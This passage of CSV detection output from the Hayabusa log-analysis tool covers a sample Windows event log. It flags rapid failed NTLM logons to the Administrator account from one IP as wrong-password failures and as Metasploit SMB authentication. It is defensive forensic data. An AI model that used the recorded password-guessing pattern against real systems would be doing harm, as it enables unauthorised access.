Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.064 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: be8UJ0EN7XS5r0b6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.064 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CgJlVYanwWKAhJ7O : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.116 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zthqCIkr1nKtqcCj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.156 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.200 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tzmi8I402j71q5Wg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.200 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.244 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m0U3NYl8QEbgeJry : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.244 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.277 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uJJ1FOUIBInGkKPQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.277 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.316 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bu0X5RisszAHEs0X : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.316 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.370 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5ZZfs8zqT2bLOAHq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.370 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.409 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qkpO31LzJfaYLyjB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.409 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.461 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BJrIsRTWUwPuySR7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.461 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.503 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VHNccqtwl9Y9IhLq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.503 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.536 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: APlvDcMzvms0gehT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.536 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.585 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AxOERGKI75RarVNZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.585 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uvzwd5qqC7og49yW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.624 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.662 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lksm3o2g0YhFnm4Z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.662 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zwXhSPCV4qHVF9Rc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.701 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: z31baZ4G36idFMeX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.745 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.784 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WK63qylKunHZB3zS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.784 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.816 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ALJxKGwyZz7JDpRg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.816 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.862 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q8tioTO3TEIzdzY0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.862 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.905 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5dIKTgQkvPKzKJoZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.905 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.947 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ta0IMrlArbgONhDG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.947 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.985 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MKNUu4624Rvr87kK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:17.985 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.032 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n7jIL2FkXzWqvWTJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.032 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.076 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oJMVh1zdQt7EikVj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.076 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.113 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5OqvximSAPlXZ3An : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.113 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.160 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tr2GQ1F3jccpWrsm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.160 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.209 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CCmbvQXXXzhHOdMG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.209 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qTp1BwPv8XiK2mrG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.256 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.300 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rnb19AXxM5ArcLxX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.300 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.359 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EUS5CKq2W1rkq46d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.359 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FzKSUVdsC5eENWDd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.396 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.434 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QFL07Mhy4iw5psBq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.434 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.486 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cMpitnzLXDLSXL73 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.486 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.584 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RSfaPdcsiRQoGYYm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.584 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.616 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PJRP4bS9Qgg06Z5P : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.616 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.679 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3Z4veMNKngHUDoRf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.679 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MmF0YFgAMSRotb1y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.720 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DmrbO3dZw46DgmZQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.768 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.805 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Qg4CMwLpfzLrvDPj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.805 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.850 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BKDKUXNNhuSqRiTE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.850 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.884 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cBocrjNXjmuPCKRJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.884 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.924 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: loCrAXibgVxcOtCM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.924 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.966 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mZ7pHOJeOExrON2E : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:18.966 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.006 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MeucKpaodpmdsqhD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.006 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.044 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LRlmBeBlV6n4MQyo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.044 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E8FYOF6HxJHqm7GW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:19.080 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 